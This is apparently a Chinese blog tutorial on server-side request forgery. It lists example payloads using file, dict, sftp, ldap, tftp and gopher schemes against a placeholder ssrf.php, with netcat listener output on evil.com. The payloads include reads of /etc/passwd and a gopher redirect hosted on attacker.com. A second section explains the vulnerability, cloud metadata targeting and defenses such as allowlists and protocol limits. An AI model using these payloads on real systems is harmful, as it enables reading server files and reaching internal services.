中级课程——SSRF

文章详细介绍了六种不同的URLSchema(file,dict,sftp,ldap://,ldaps://,ldapi://,tftp://,gopher://)如何被用于SSRF(Server-SideRequestForgery)攻击,展示了这些协议如何被恶意利用来获取文件、执行命令或建立反向连接。

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录


前言

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

挖掘

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述

利用

1、file

这种URL Schema可以尝试从文件系统中获取文件:

http://example.com/ssrf.php?url=file:///etc/passwdhttp://example.com/ssrf.php?url=file:///C:/Windows/win.ini

2、dict

这种URL Scheme能够引用允许通过DICT协议使用的定义或单词列表:

http://example.com/ssrf.php?dict://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 31126)CLIENT libcurl 7.40.0

3、sftp

在这里,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。

http://example.com/ssrf.php?url=sftp://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2

4、ldap://或ldaps:// 或ldapi://

LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。

http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit

5、tftp://

TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。

http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3

6、gopher://

Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。

http://example.com/ssrf.php?url=http://attacker.com/gopher.php gopher.php (host it on acttacker.com):-<?php header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?>
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest
03-08
### SSRF漏洞原理 服务器端请求伪造(SSRF)是一种Web安全漏洞,允许攻击者诱导服务器端应用程序向攻击者选择的任意域发出HTTP请求[^2]。这种类型的攻击通常发生在当应用接受来自用户的输入并使用该输入来构建用于发起网络请求的URL时。 #### 常见场景与影响 - **内部服务访问**:由于服务器可能位于防火墙后面,拥有对内网资源的访问权限,因此通过SSRF可以绕过外部网络限制,获取本应无法触及的数据或接口。 - **云元数据泄露**:许多云计算平台提供可通过特定IP地址(如`169.254.169.254`)访问的服务实例配置信息,这成为了一种常见的SSRF目标。 ```python import requests def fetch_data(url): response = requests.get(url) # 如果url由用户控制,则存在SSRF风险 return response.text ``` 上述代码片段展示了潜在的风险点——如果`fetch_data()`函数中的参数`url`是由未经验证的用户输入提供的,那么就可能存在SSRF漏洞[^1]。 ### 防御措施 为了防止SSRF的发生,建议采取以下策略: - **白名单机制**:仅允许访问预定义的安全域名列表内的资源,拒绝其他所有请求。 - **协议限制**:确保只支持必要的协议(通常是HTTP/HTTPS),阻止FTP或其他不常用协议的调用。 - **相对路径处理**:对于需要动态生成的目标链接,考虑采用相对路径而非绝对路径的方式实现功能需求。 - **响应内容过滤**:即使执行了对外部系统的查询操作,在返回给前端之前也要仔细审查和净化接收到的信息,以防其中含有恶意载荷。 - **最小化权限原则**:运行应用程序的服务账户应当遵循最低特权原则,减少因遭受此类攻击而导致更大范围损害的可能性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值